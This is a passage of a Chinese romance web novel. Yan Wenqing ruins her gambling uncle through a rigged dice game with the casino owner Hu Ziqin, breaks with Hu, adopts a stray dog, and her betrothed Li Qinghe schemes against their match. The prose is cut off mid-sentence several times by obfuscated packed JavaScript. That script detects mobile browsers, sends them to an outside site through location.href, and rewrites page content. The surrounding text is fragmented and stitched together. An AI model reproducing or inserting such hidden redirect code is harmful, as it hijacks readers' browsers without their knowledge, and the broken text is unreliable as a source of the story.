户自矜默然片刻后缓缓哼笑一声：“没良心的。” 他收敛暧昧神色，随口道：“你那位堂叔当真是贪心。” “就是要他贪心才好。” 户自矜喜欢极了严问晴用她那温柔无害的嗓音说出这样寒气森森的话，他一直觉得，严问晴和他是同路人，同样艳丽的、冰冷的毒蛇，合该一辈子纠缠在一块，吐着蛇信子掂量从哪里撕下一块肉。 5. 自负终得溺，筹谋遂偿心 不多时，有人来禀，那位严老爷已经离开。 严问晴起身告辞。 稳坐原处的户自矜并未出言挽留，单抬着那双含情脉脉的眸子深深望向她。 严问晴视若无睹，毫不留情地转身离开，只余一个飘然的背影。 她从小门走出。 戴着帷帽登上去掉标识的马车后，她又微微掀开车帘，望向这座人声鼎沸的销金窟。 第一次踏入这里，严问晴亲眼见着户自矜剁下倾家荡产的赌徒五指，在对方的哀泣声中含笑拈着赌鬼的食指，在卖妻当女的文书上摁定一个鲜红的指印。 尽管她在这份下马威前面不改色，但从那刻起，严问晴就很清楚她与户自矜不是同路人。 严问晴足不出户，也知她的堂叔每日自称巡视商铺，实则扎根赌场，骰子摇得风生水起，早将什么祖产、铺面忘得一干二净。 混迹赌场的人，或多或少知道点庄家做局的内幕。 但善游者溺，每个沉迷其中的赌鬼都觉得自己能及时抽身。 严家这位堂叔更是其中的佼佼者。 他始终坚信着自己赌技高超、自制惊人，平常也不过是小赌怡情，必不可能陷入泥沼。 到了安平县的赌坊，他先时试了两天水，有赢有输，赢者居多，还拿到几回绝佳的牌面，便觉近来运势正盛，自以为试清楚此地赌坊的深浅，于是放开手玩。 一开始小赢几分，渐渐输多赢少，可每回赢又是拿到大牌碾压，给他一种手气正佳的错觉，迟迟不肯下牌桌。 待最后结账时，竟倒欠了赌坊数百两白银。 他出门在外，哪有那么多现钱？只能去求赌坊的户老板宽容则个。 侍女将他引上三楼。 看清这座赌坊的主人是何模样时，严老爷暗暗吃惊。 户自矜身形清癯似一蓬修竹，头戴玉冠腰系环佩，身上不见半点金银俗物，眼中更无凶煞精明的邪光，看着倒像个温润的书生，还对他和善地说：“客人气宇非凡，赌技超群，看得在下手痒难耐，不知可愿同在下赌上一把？” “赌什么？”严老爷有些心动。 户自矜笑道：“若阁下赢了，这五百两银子的赌债一笔勾销；若输了，我也不要什么，且容你十日筹款。如何？” 百利而无一害的赌注。 严老爷当即应下，一旁的侍女便举着早已备好的两盅骰子上前。 户自矜道：“也不必玩些花里胡哨的把戏，就比个点数的大小，三局两胜，如何？” 严老爷自无不可。 一时间屋内只余长桌两边玉制的骰子在骰盅里又急又密的哒哒碰撞声。 待骰盅“砰”得叩定，严老爷抬起骰盅一角，两枚骰子上红艳艳的两排对称的点冲进心里，双六，天牌。 严老爷开心地掀起骰盅，哈哈大笑着捻须道：“我赢了。” 户自矜无奈叹气，打开面前的骰盅，幺五锦屏，在天牌面前不值一提。 第二轮，严老爷骰盅下赫然是三六至尊，此为散牌之最，他心下更是欣喜，但一抬头见户自矜面前五五梅花，偏是个大他一点的对子。 刚溢于言表的喜悦被截断。 最后一把，严老爷眼中已显出几分赌徒狂热的癫狂，摇着骰盅快到只能瞧见残影，咚咚作响的骰子似发出不堪重负的清脆哀鸣。 待骰盅落定，余音还在盅内嗡嗡震颤，恰似刀尖在心尖上颤巍巍地悬停。 严老爷照旧先瞄了眼盅底。 这一眼，却叫他一时惊得失了魂——竟又是一对六。 天爷，这是什么鸿福大运？ 严老爷这时倒对刚才户自矜许下的赌注有些不满，平时若有这样的运道，赢个千八百两雪花银也不成问题啊。 偏瞌睡来了有人递枕头。 但听户自矜志得意满地问：“严老爷，要不要改改赌注？” “怎么改？”严老爷急忙阖上骰盅。 户自矜却轻摇纸扇，仰靠在椅背颇为倨傲地看向严老爷，笑道：“该怎么改，得看严老爷您有什么。要我来改，您出不起价又该如何？” 严老爷听得他话中轻视之意，已觉稳赢的自负如被浇上一盆火油。 他冷笑一声，抬着下巴环顾一圈，反问：“你这赌坊价值几何？” 户自矜缓缓坐直，颇为玩味地打量几眼严老爷，随后更是轻蔑地嗤笑一声，道：“那可真是将您的祖产典卖了，都买不起我这座销金窟。” 已然胜券在握的严老爷哪听得这种话？当即拍案怒道：“就赌你这座赌坊！” 心下则暗算着：哪怕户自矜摇出天牌，这轮打平，论三轮的总点数也是他赢。 “好胆气！”户自矜大笑一声，拿合起的纸扇轻点面前的骰盅，“我这盅下边可只怕一组牌面。” 知道了他的点数，严老爷更是信心满满。 他得意地想：任谁都想不到，三局两胜的赌局里，竟能在同一个人手中出两次天牌。 这时的严老爷全然忘了，同一个人手中出两次梅花，同他这两次天牌概率分明是一样的，这样的巧事偏撞两回，又怎么可能仅是运道？ 亲眼得见户自矜掀起骰盅，与上轮一模一样的梅花印入眼帘。 骤得赌坊巨财，严老爷不由得喜形于色，又故作高深自若地说：“户老板，承让了。” 言罢，他猛地抬起骰盅，却见两枚油润的骰子在见光的那一刻，赫然变作一三，严老板眼眶撑到极点，圆溜溜的眼珠子都要瞪出来，他只愣愣地看着桌上这四点，一时间天旋地转，“四”字也变了调萦绕在他耳畔，眼前活像浮现出一条直通通的死路。 他的天牌、他的天牌……？ 严老爷猛地回过神来，指着户自矜的鼻子怒吼：“你出千！” “严老爷，愿赌服输。”户自矜端起一旁的茶盏浅抿一口，见严老爷似有逃跑之意，便抬手轻轻一挥。 四五个壮汉手持小儿臂粗的梣木杆，堵在门口。 严老爷两股战战。 再看户自矜，对方依旧笑容温和，漆黑的眼珠子却像不见底的深渊，透着森森寒气，这时候他才反应过来，能开得起这样一座赌坊，背后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她提着箱子登上马车前，转头含泪道：“叔父，我用我的嫁妆替您还债，只求保全这座祖父晚年所栖的老宅。还请叔父怜我孤弱，留我一处栖身。” 在场众人无不为美人落泪动容。 直至马车远去，人群中仍有一道痴迷的目光依旧久久凝视。 及至赌坊，打手将围观者堵在一楼。 严问晴带着凝春来到三楼时，户自矜显然已经等候多时。 严问晴将箱子推到他面前。 见到心心念念多年的东西，户自矜却不着急打开，而是笑道：“我倒是希望这里边真是你的嫁妆。” “我的嫁妆你要不起。”严问晴面不改色。 纤纤玉指从小木箱上方轻轻抚过，不见她指尖有何动作，严丝合缝的箱盖便猛地弹开，露出里边一张泛黄的字据。 随后严问晴将桌上严老爷的欠债字据收入囊中。 户自矜握着扇柄的手微微收紧，他不看箱中惦记多年的旧账，反面无表情地盯着严问晴。 6. 断前尘心有不甘，生后缘意且蒙昧 严问晴与户自矜坦然对视，眸如沉渊平静无波。 在遇到严问晴之前，户自矜对自己的外貌颇为自得，然而多年相交，不论他如何明里暗里撩拨，严问晴的眼中从未有过半点动摇，闹得他难得有几分怀疑自己的长相。 他收回视线，取出木箱里的字据。 ——这是一份债权字据。 这些年户自矜赚的钱，三成都进了严问晴的腰包。 谁也不会想到，看上去温柔娴静的大家闺秀，年纪轻轻竟学得一手绝妙的出千技艺。 户自矜用在严老爷身上的手段，不敌当年严问晴向户自矜使得千分之一，并且早在赌局开始前，手过无影的严问晴就神不知鬼不觉在户自矜杯里下了延时可解的毒，以防他惨败后赖不认账。 所以这些年严问晴从不喝他的茶水。 防他报复哩。 户自矜在阴沟里翻了船。 他哪能想到，一个十五岁刚刚痛失双亲的少女，明眸皓齿看似皎若朝霞，实则如阴云半掩的明月，所谓艳光、所谓柔情，皆是她隐蔽毒牙的斑斓色彩。 他愿意帮她设计圈套，虽然大半出于当年输给严问晴的这笔赌坊的巨额债权，也有几分源于休戚与共的关系。 在这条船上，他们的合作一直很愉快。 严御史为官多年，深谙官场黑暗，常以此为反例教导严问晴，在耳濡目染下，严问晴早早便明白许多官员命脉症结，所谓正邪本就一念之间，她想要钻营此道，自然信手拈来。 这些年面对官府的无度勒索，十有八九是严问晴在后为他出谋划策。 有时候户自矜甚至觉得，他们就像腐木与苔藓，只有自己能为严问晴提供葳蕤的温床，他们合该一辈子纠缠不清，直到他彻底腐烂，严问晴也会随之凋亡。 而今，手中这张轻飘飘的字据，印在他眼中却如同一片乌云。 户自矜眨了下眼，眸中又氤氲出温润的水光。 他摩挲着手边两枚玉骰子，丢向严问晴笑道：“最后再赌一次，如何？” “戒了。”严问晴随手把骰子丢回去。 户自矜从容的神态出现皲裂。 他阴沉着脸问：“你甘心嫁给一个无礼草包，就此洗手做羹汤？” 严问晴的笑容无懈可击：“李家家大业大，倒也轮不到我洗衣做饭。” “如此，”户自矜深吸一口气，“一拍两散？” 严问晴礼貌地回：“祝户老板生意兴隆。” 眼睁睁看着严问晴离开，她一次也没回过头。 户自矜陷在软椅中，手里紧紧攥着骰子，默然似一座雕塑。 突然，他猛地一甩手，骰子狠狠砸中架上价值连城的古董花瓶，一声脆响后摔得粉身碎骨。 户自矜拱身死死捏着桌角，鼻腔里溢出几声粗喘。 从始至终，她都是这副游刃有余的模样——凭什么？她以为自己想走就能走吗？ 眸中伪装的温和无影无踪，只翻滚着浓郁的阴霾。 严问晴脸上带着几分落寞走出赌坊的画面落入围观者眼中，不日严老爷将祖产尽数输光的谈资便长腿似得蹿遍整个安平县。 严老爷无颜逗留祖宅，连行李都没收拾便匆匆归家。 家中仆从虽然松了一口气，但也难免因此事对未卜的前程忧心忡忡，远的不说，就说下个月的月银，只剩个祖宅的严家还发的出来吗？ 好在，杜夫人次日就使人大张旗鼓上门提亲。 送来了十八抬聘礼，其中更有五抬满满当当的黄金，以解严问晴燃眉之急。 原先李家要求娶严家女不过是一点风声，经此成众所周知的确实。 不免有心人背后议论挟恩图报云云。 关于这桩婚事，严问晴早与杜夫人心照不宣，此时倒没有觉得趁人之危，更何况杜夫人并不知其中内情，着急送来财物为她撑腰，严问晴亦记下她雪中送炭的心意。 不过另一头倒有人在家大发雷霆。 李青壑前几日叫杜夫人发现他在赌坊附近与友厮混，被拘家中不得出，直到赌坊上严家讨债这件事闹得沸沸扬扬，他才风闻得知。 虽不干正事，少年人却怀着一腔义气，甫一听闻此事便大骂那严老爷猪狗不如。 接着转念一想，严娘子将嫁妆赔进去，虽然可怜，但婚姻之事恐怕成不了，李青壑不免生出几分窃喜。 喜意下那点淡淡的奇怪的遗憾，被他归结到对严家糟心事的唏嘘中。 不曾想，未等他翘着尾巴找亲娘议论此事，他的亲娘已经眼巴巴送上聘礼，让这桩婚事成了板上钉钉。 他居然还是家里最后一个知道这件事的！ 急脾气的李青壑岂能善罢甘休？ 他冲进杜夫人院中，恰逢杜夫人商议着六礼事宜，李青壑立刻朗声打断：“八字都没合过，就已经把聘礼抬到人家里去了！娘，你天天说我不合礼教，怎么自己还做这样的事！” 杜夫人诧异地看向李青壑。 也不知直脑筋的小子是不是被这桩婚事逼开了窍，竟然学会以其人之道还治其人之身，跑来拿礼教说事。 杜夫人嗤笑一声：“八字早已看过，天作之合。” 李青壑闻言心尖莫名颤了一下。 只是怒火翻涌，震得心口胀痛，便顾不上这点微不足道的颤动。 他嚷道：“什么时候的事？我怎么不知道！” “你不需要知道。”杜夫人低头翻看黄历，“婚姻大事，向来父母之命媒妁之言。” 李青壑从小到大就没被母亲这样忽视过他的感受，当即恼怒到口不择言：“那你当年怎么不听外祖父的话，非要嫁给我爹！” “放肆！” 听闻儿子闹事的李父预备劝架，刚走到门口便听到这样一番对话，顿时瞪大眼。 那点劝架的心思瞬间烟消云散，他立马侧身从旁溜走。 杜夫人深吸了几口气，瞪着已经有成人模样的儿子，又使劲点了两下头，咬牙道：“好得很，你翅膀硬了。你若是有本事，去找一个比严娘子好的姑娘领回来，又何须我如此费心？” 李青壑不中她的套，梗着脖子说：“好不好那不还是你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她迟疑片刻，依着自己的心思道：“它身强体壮，假以时日未必不能取而代之。” 严问晴轻笑一声。 她偏头对门外拿着木棍的护院随口道：“这些狗叫听得心烦。” 护院当即挥着木棍上前驱散狗群，混乱中不知打中了几条狗，呜咽哀嚎不绝于耳，野狗也夹着尾巴四散奔逃。 严问晴含笑看着眼前的乱局，眼中只有漠然。 她余光一瞟，瞧见那条油光油亮的年轻黄狗站在不远处，琥珀一样的圆眼盯着严问晴，蓬松的大尾巴高高翘起。 严问晴也不知道自己怎么想的，在对视几息后，忽然对这条野狗唤道：“过来。” 黄狗转了转脑袋，爪子一压，扭身跑开了。 严问晴又笑了一声。 漆黑的眸子倒是泛出几分兴味。 凝春见她对那条黄狗感兴趣，便询问：“娘子要不要使人将它抓来？” 严问晴摆摆手：“不必，若有缘分，它自会过来。” 7. 半生跌宕遇贵人，一路上下奔生天 严问晴此行，是去官府递交变更严氏所有财产的文书。 原属严家的商铺、田地皆归于一位叫“望舒”的神秘人名下，其人并未现身，只派了一名亲信携印与严问晴赴官府公证。 官府文办只当“望舒”是户自矜立的幌子。 无人知晓这名亲信在公证后，悄然拜别严问晴，回到乡下庄子。 乘车返程的路上，凝春几番犹豫，终于忍不住问：“娘子，分明有更好的法子，为何要割舍去这样一块肥肉？” 她说的是严问晴归还给户自矜的赌坊债权。 当年严家夫妇猝然离世，严问晴草草接下这个摊子，再早熟聪慧的人也不免捉襟见肘，眼看着亏空越来越大，马上要到变卖家产填补的地步，严问晴只能动些歪脑筋。 她靠着赌坊债权的丰厚进项渡过难关。 凝春亲眼见到自家娘子帮户自矜用心经营这么多年，赌坊的收益用日进斗金来形容也不为过。 就这么轻易还回去，凝春确实不甘。 严问晴张开五指，白净细腻的手掌在凝春面前摆了摆，又听得她笑道：“洗干净手上的火油，才好隔岸观火呀。” 凝春听出深意，神色也变得郑重些。 严问晴的目光落在自己这双不沾春阳水的手上，想起了教会她千术的那只布满老茧的手。 惯出老千的人，为了手指的灵活与敏锐，也为了掩人耳目，往往会刻意保持手掌的柔软无害，但从严问晴有记忆起，癸叔的左手便是一副笨重粗糙的模样。 癸叔只有一只手。 他的右手被从手腕处齐齐砍断，陈年旧伤，余一截圆润偏红的腕头。 严问晴的祖父曾赴一州行监察之职，发现当地滥赌成风，百姓不事生产、官员不理民生，路边到处都是卖儿鬻女的赌徒。 时任监察御史的严御史乔装成途经此地的富商，欲潜入当地赌坊一探究竟。 他在赌坊门口，却遇到一个蓬头垢面的中年人竭力阻拦。 对方挥舞着断手的长臂眼含热泪，连声劝他速速离去。 因公务在身严御史并未理会。 不过他心怀感念。 待严御史收集此地民情上告朝廷，天子震怒，派人缉拿当地的贪官污吏，野蛮肆意的赌坊也在一夜之间关门闭业。 许多叫赌博害得家破人亡的百姓在严御史离开时夹道相送。 严御史却瞧见一个形容枯槁的熟悉身影，以手遮面悄然逆流离去。 他派人追上去，确认回避他的人正是当日在赌坊外好心劝阻的中年人，又经调查方知此人曾因极擅千术声名鹊起，后叫庄家做局抓个正着，生生砍去整只右手，负债累累、身心俱溃，成了一个彻头彻尾的废人，流浪街头。 严御史看他有悔改善心，又怜他无处可去，便问他名字，要留他在身边。 那人感怀于心，道自己半生疯魔，合该舍弃前尘，请严御史只唤他一声“阿鬼”，叫他牢记业障。 严御史却为他更名“阿癸”，言十年磨砺方得见尘世明光。 自严问晴出生，癸叔便忠心耿耿守在她身边。 他只剩下左手照样能将年幼的严问晴稳稳抱到肩头，带她看花灯、赏焰火。 可惜祖父乞骸骨前夕，癸叔年老体衰，悄然离世。 严问晴至今仍记得前一天晚上癸叔答应次日陪她出去玩，她一早兴冲冲跑去敲癸叔房门，却不得回应。 老人闭着眼，满是皱纹的脸上挂着一抹温和的笑。 无病无灾的喜丧。 严问晴想，或许在十几年前的那个午后，她央着断了手掌的癸叔向她展示那手神乎其技的千术时，就注定了她日后要离经叛道，有违祖父一生追求的“清正”二字。 万幸，她没叫人抓住剁掉手掌。 但严问晴清楚，这份幸运不是因为受骗的户自矜多么善良仁厚，而是他将严问晴视作自己的附庸与点缀，好端端的，谁会因为发簪划伤肌肤，怒而毁去雕工精湛的簪子呢？ 她收拢五指，眸中还残余着回忆往事的温情。 冷厉很快覆盖其上。 赌坊一别，看似好聚好散，实则风雨欲来，哪怕拿回赌坊的债权，户自矜也绝不会善罢甘休。 就在严问晴敛眸沉思的时候，马车停下。 严家到了。 严问晴掀开车帘下车。 阳光正好，落在她眉尾发梢，暖烘烘照亮动人的颜色。 严问晴长了张姝丽姣好的面孔，很容易引人注目，偏这些年她总要做些见不得光的事情，出门在外常头戴帷帽有意遮掩容貌。 不过从今日起，她和那些阴私勾当再无瓜葛。 严问晴顶着明媚的日光，露出一抹真心实意的灿烂笑容。 抬步踏阶时，严问晴听到下马石后传来一声可怜巴巴的呜咽。 她偏头，对上一双琥珀般透亮的湿润圆眼。 今早还以一敌七的大黄狗蜷缩在阴影里，只有这双大大的狗儿眼亮得像两枚小太阳。 对视片刻后，严问晴转过头继续往前走。 黄狗赶忙轻“汪”一声，试图唤住她。 它一瘸一拐地追出来，先时缎子样整齐油亮的皮毛此时杂乱无章，身上好几个血洞随着它的行动溢出血珠，前腿更是有一道深可见骨的咬伤。 严问晴停住，转身半蹲着朝它伸手。 黄狗因她的动作猛地一退，又见她没有后续，歪着脑袋犹豫片刻，乖乖凑到她跟前。 温暖的指腹揉了揉敏感又柔软的耳根。 它听到女子心满意足的轻笑声，臣服般低下脑袋。 严问晴刚净手更衣，凝春便拧着眉头急匆匆跑进来：“娘子，您带回来那只野狗真是不知好歹！” 她的手背上洇着半干的血痕。 原来那条黄狗跟着严问晴进了严家的门，却浑似半个主子，严问晴一走它便凶相毕露，不许任何人靠近，连凝春想为它处理一下伤处，都被它龇牙凶退。 凝春痛骂着不识好歹的野狗。 “真是一条蠢狗！”她经严问晴许可，就着刚刚主子净手剩下的水擦洗手背血迹，而后在严问晴的要求下，引她去看那条凶犬。 “奴婢看这狗恐怕养不熟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488705|185753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严问晴看向从她踏入这间院子后便保持着安静的大黄狗。 “蠢狗，这会儿怎么不叫唤了？”凝春冷哼一声，“给你上药是为你好，碰也不许人碰，你这伤口化脓，届时整条腿都要废掉。” 她说着要靠近黄狗，这畜生又朝她弓腰呲牙。 凝春一跺脚，气鼓鼓看向严问晴。 严问晴轻笑一声，越过她：“我来。” 凝春着急阻拦，却听她笑道：“它可聪明得很，知道谁是这个家的主子，它遵循着狗群里的规则，只臣服于首领，面对其他人，则要保持着凶狠的老大模样。” 这狗果真在严问晴手下俯首称臣，任由她拨开被血迹粘连的皮毛，清创上药。 凝春嘟囔：“真是成精了。” 过一会儿她又问道：“娘子要养它，可取个名字？” 严问晴似早已想好般径直道：“谷子。” 凝春有点愣神。 这名字有些言简意赅，不大像娘子平日风格。 只见严问晴眉眼弯弯笑道：“它浑身金黄，可不像田间谷子？” 凝春应答一声，心里还是有点奇怪。 到底是跟随严问晴多年，直觉就是准。 严问晴取这名字，最重要的原因——深谷谓之壑。 别看她好似娴静大度，实则小心眼得很。 回去的时候，凝春小心翼翼地开口：“娘子，咱们手上并不缺银两，现在又将严老爷送走，既已解了困局，何必许嫁李家，白白忍受无礼之人的诋毁。” 她实在为严问晴委屈。 严问晴拍了拍她的手背，轻声道：“今日撵走一个堂叔，日后还会有堂伯、族伯。咱们需要一位德高望重的长辈盟友。更何况……” 她从杜夫人坚决严厉的态度中，敏锐觉察到一种可能。 严问晴不得不承认，这几年弄权造势，使她的野心也在一点点膨胀。 只要想到能藉由李家少夫人的身份，亲眼瞧瞧一艘巨船如何行驶，严问晴对这桩婚事便充满了期待。 至于李青壑，不过是其中微不足道的一点瑕疵。 “瑕疵”本人此时正重操翻墙旧业。 他万事不过夜，虽与亲娘大吵一架时因心绪不定说出那样矫情的话，一觉睡醒又全部抛之脑后。 只是栖云院外忽然多出一队家丁。 李青壑当然以为他们是杜夫人派来看着自己的，顿觉气恼。 怎么好似他才是待字闺中准备嫁人的那个！ 李青壑真是怀疑，亲娘会将自己关到成亲那日，他叫先前杜夫人那番话伤了心，问也不问就认定她打算一直关着自己。 不过你有张良计，我有过墙梯。 李青壑寻了个空当，三下五除二翻出栖云院的院墙，又怕路上叫人撞见，遂寻个少人的角落，连翻四五道墙，终于在明白见识过自家到底有多大后，成功逃出生天。 他没想到自己吭哧吭哧努力翻墙的大场面，早早叫人汇报到杜夫人处。 杜夫人无奈地按着两侧太阳穴，笑骂道：“正门不走，跟个跳蚤似的。” 8. 知心友乐于分忧，大孝子绞尽脑汁 且说李青壑费大工夫翻出李家，脚下还未站稳，便气喘吁吁奔向卜世友处。 他那些狐朋狗友里，也就卜世友有几分急智。 “砰砰砰”砸了好一阵儿门，才听得里边传出开门的动静。 卜世友披着外衫，形容有几分憔悴，见到李青壑灰头土脸的狼狈模样，露出讶然的神情。 李青壑急急推着他进去，甫一阖门便拉着他连声道：“好兄弟，快给我出个主意！我看我娘那架势，恐怕是打算将我关在家中，押去喜堂成亲！” 卜世友却有几分恍惚。 好半天，他才抓住李青壑的手臂，盯着对方皱眉重复道：“成亲？” “……是和严娘子？” 李青壑莫名地看着他道：“就是她，我才要逃！” 卜世友喃喃道：“严娘子那样雪胎梅骨的人物，你为何要逃婚？” 李青壑更是绝望：“怎么你也倒戈？” 卜世友这才似大梦初醒，眼中闪过些精光，他忙道：“哪里的话，我自然是站在你这边的。” “不知你做何打算？” 李青壑恼道：“我要是有打算，还能跑你这儿来？” 卜世友抿了抿唇，试探道：“既然严娘子叫令堂称心如意，从夫人处想办法取消婚约恐怕困难。” 李青壑赞同地点头：“但我不好出面同她说明。万一她看我年轻英俊，不肯遂我愿该如何是好？” 卜世友心下嗤然。 不过他仍故作替李青壑忧心道：“李小爷仪表堂堂，确是人中龙凤。” 接着卜世友似无意道：“能不能叫严娘子不得不解除婚约？” 比如……掳走她，毁了她的名节。 李青壑猛地一拊掌，恍然大悟般笑道：“只要严娘子移情别恋，自然会解除这桩婚事！” 卜世友没想到他居然能说出这种完全无用的话。 这家伙怎么能如此单纯？ 单纯到愚蠢，令人厌恶。 他敛下眼底的轻蔑，顺着李青壑的话道：“这倒是个好主意。只是甄兄那样一表人才，又甘心入赘严家，都难得严娘子的青眼，我等又向何处替严娘子寻得一位如意郎君呢？” 李青壑不以为然：“甄梅敛那个色中饿鬼，眼下青黑都要垂到脖子，也不怪人家看不上。” 不过卜世友这话提醒他。 既指望严娘子移情别恋主动解除婚约，那他得想办法找个合适的人选“勾引”严娘子才是。 可恨他身边净是吊儿郎当的家伙，思来想去都没个人可堪正配。 李青壑目光一转，落到身侧面容清俊的卜世友身上，见他虽不知为何有几分憔悴，但肤色白净，形如松鹤，活脱脱一个小白脸。 他挑眉道：“我看世友兄也是英俊潇洒、风度翩翩啊。” 卜世友面露大骇，连声拒绝：“不可不可。” “有何不可？”李青壑心觉不满，“你又无婚约，也不曾有心上人，更何况你大我三岁，与严娘子同龄，正是相配。” 卜世友垂眸苦涩道：“小爷也知我这个年纪尚未议婚。实在是家境贫寒又屡试不中，如此情境，怎好耽误佳人？” 推拒来推拒去，闹得李青壑心里莫名冒出几分野火。 ——他不肯娶严娘子是情有可原，怎么旁人也敢找理由推三阻四？ 模模糊糊的念头一闪而过，不待他细究。 李青壑只当是因这桩迫在眉睫的婚事生出急火，只压着怒意拽住卜世友道：“你只消点头，婚事支度小爷我一并包揽，良田旺铺一应俱全，保管你的婚事热热闹闹、风风光光，权当谢你解我燃眉之急。” 卜世友等得就是冤大头这句话。 他终于犹犹豫豫地应下。 可好容易逼得卜世友答应，李青壑的心里却依旧不觉松快，他道自己这是因为事情还未解决，所以不得放松，便急哄哄拽着卜世友出门采买一身簇新的行头。 锦衣玉冠、革带皂靴，一应俱全。 卜世友捧着云一般柔软轻盈的绸缎，垂下眼皮掩去眸中暗沉的嫉恨。 他待李青壑结完账，才疑虑重重地开口：“我与严娘子素昧平生，又如何产生交往？” “这好办。”李青壑道，“我请我娘邀她出门，去到人来人往的地方，再想办法支走我娘。你守株待兔，同她‘偶遇’交谈，穿着这样一身玉树临风的装扮，就是天仙也会留两眼在你身上。” 李青壑说完，心里又莫名不大舒服。 目光一转，落到成衣铺子里的大铜镜上，照见自己风尘仆仆的模样，他没忍住伸手捋了把头顶杂乱的碎发。 李青壑忽略时不时冒尖的怪情绪，依着心中计划回到李家。 他凑到杜夫人跟前伏低做小，哄得亲娘终于给他几分好脸色后，方试探道：“纵是你将那严娘子夸得千般好万般妙，我不曾见过，也是不信的。” 杜夫人嗔道：“那日不是你佯装得病，要死要活不肯一见吗？怎怨得我？” 李青壑摸了摸鼻尖，撇开眼道：“你将人径直领到我屋里，我衣衫不整哪里敢见她？要我说，你真想撮合我们，该约个正正经经见面的地方。” 杜夫人一听确是这个理儿。 遂去信给严问晴，邀她过几日往城外福佳寺同游，并直言会带上不肖子与她相看。 严问晴拈着花笺沉吟。 凝春笑道：“这李家的少爷总算明事，知晓咱们娘子的好。” 严问晴却失笑摇头。 她将花笺收入妆奁底层，随口道：“我看这位小少爷怕是另有盘算。” 及至约定的日期，杜夫人一面描眉，一面使人去嘱咐李青壑仔细装扮，可见她心里也对儿子的德性了如指掌，怕他阳奉阴违，到严问晴面前不要脸的作怪。 还不等杜夫人更衣，有人匆匆来禀。 说是杜夫人的闺中故友随夫赴任越州，今日途径安平县，顺路前来探望。 多年未见的好友来访，杜夫人不免犹豫。 这时李青壑乐呵呵闯进来：“既然娘这儿有客人，就叫我一个人去福佳寺呗。” 杜夫人皱眉：“你见也不曾见过严娘子。莫不是两面三刀，想将人家落在寺里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488706|185753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，失信于人惹得厌弃吧？” 李青壑心说这倒也是个好主意。 不过他面上委屈：“娘如何能这般想儿子？你既然夸得严娘子天上有地下无的，那我何须旁人指引，自是一进庙就能认出这位活菩萨。” 杜夫人不听他贫嘴，招来陪伴多年的秋明，使她伴着李青壑同去。 这位秋姑姑可是和亲娘一样难缠。 李青壑立马道：“娘，实话告诉你吧，我上回翻了严家的墙，早知道那位严娘子是何模样。” 他又含含糊糊道：“我也是瞧她好看才改变主意的。” “您没空正好，叫我与她单独相处相处，看看她平日的好举止是不是当着您的面刻意迎合的。” 杜夫人听他做出如此轻浮之事，气得举起团扇砸他。 李青壑也不闪躲，只朗声道：“婚姻是儿子的终身大事，您总要许我自个儿好好考量考量吧？” 杜夫人压下怒火沉思片刻，知道李青壑是牵着不走打他倒退的倔驴性子，又对严问晴的品性很有信心，便允许李青壑自去福佳寺，但强令他不许轻狂无礼。 李青壑满口应下。 又听杜夫人道：“我早说严娘子的品貌具佳，你瞧见她的模样自改变了主意。” 李青壑心道：我可没改变主意。 他时至今日也不过觑到一点印在屏风上模糊的影子，但闻杜夫人此言，心下更是坚定——不管这严娘子是何模样，他都不会有任何动摇！ 临走时，杜夫人又拉住他，嫌弃地打量他这身颜色单一的劲装，令他赶紧换了。 李青壑口是心非，只打算进栖云院晃一圈敷衍。 可他进到屋里，瞧见颜色暗沉的檀木镂空屏风，又在铜镜中看到自己随手扎起的头发，鬼使神差般套上一身今岁新裁的栀黄色衣裳，拿累丝缠红宝金冠束发，并顺手抄起鞘上錾金嵌玉的宝剑。 端的是利落潇洒。 只是穿着煌煌灼目，人却藏在冷清的角落里暗中观察。 等到李青壑不知道第几次挥开阴影里的小飞虫，低头看看身上华贵精致的装束，也不明白自己为什么搞这一套锦衣夜行的把戏。 他从小到大都没这么用心过。 为了支开杜夫人，费劲打听到母亲从前的朋友途径安平县，冒充杜夫人给那位夫人写信相邀，约在今日见面。 向来一根筋的李青壑甚至用上备案。 他买了一包泻药，若是那位夫人不来赴约，便将泻药下在杜夫人的早饭里。 好在旧友情深，没叫李青壑用上这么个“大孝子”的计策。 去接应卜世友的路上，李青壑忽然回忆起杜夫人的话，还有前些日子找卜世友出主意时他对严娘子的赞美，后知后觉到——怎么好像所有人都见过严娘子，只有他不知道对方的庐山真面目。 奇怪的不甘涌上心头。 他甩了甩脑袋，携卜世友往福佳寺去。 卜世友甫一见李青壑这身打扮，面色立马阴沉下来。 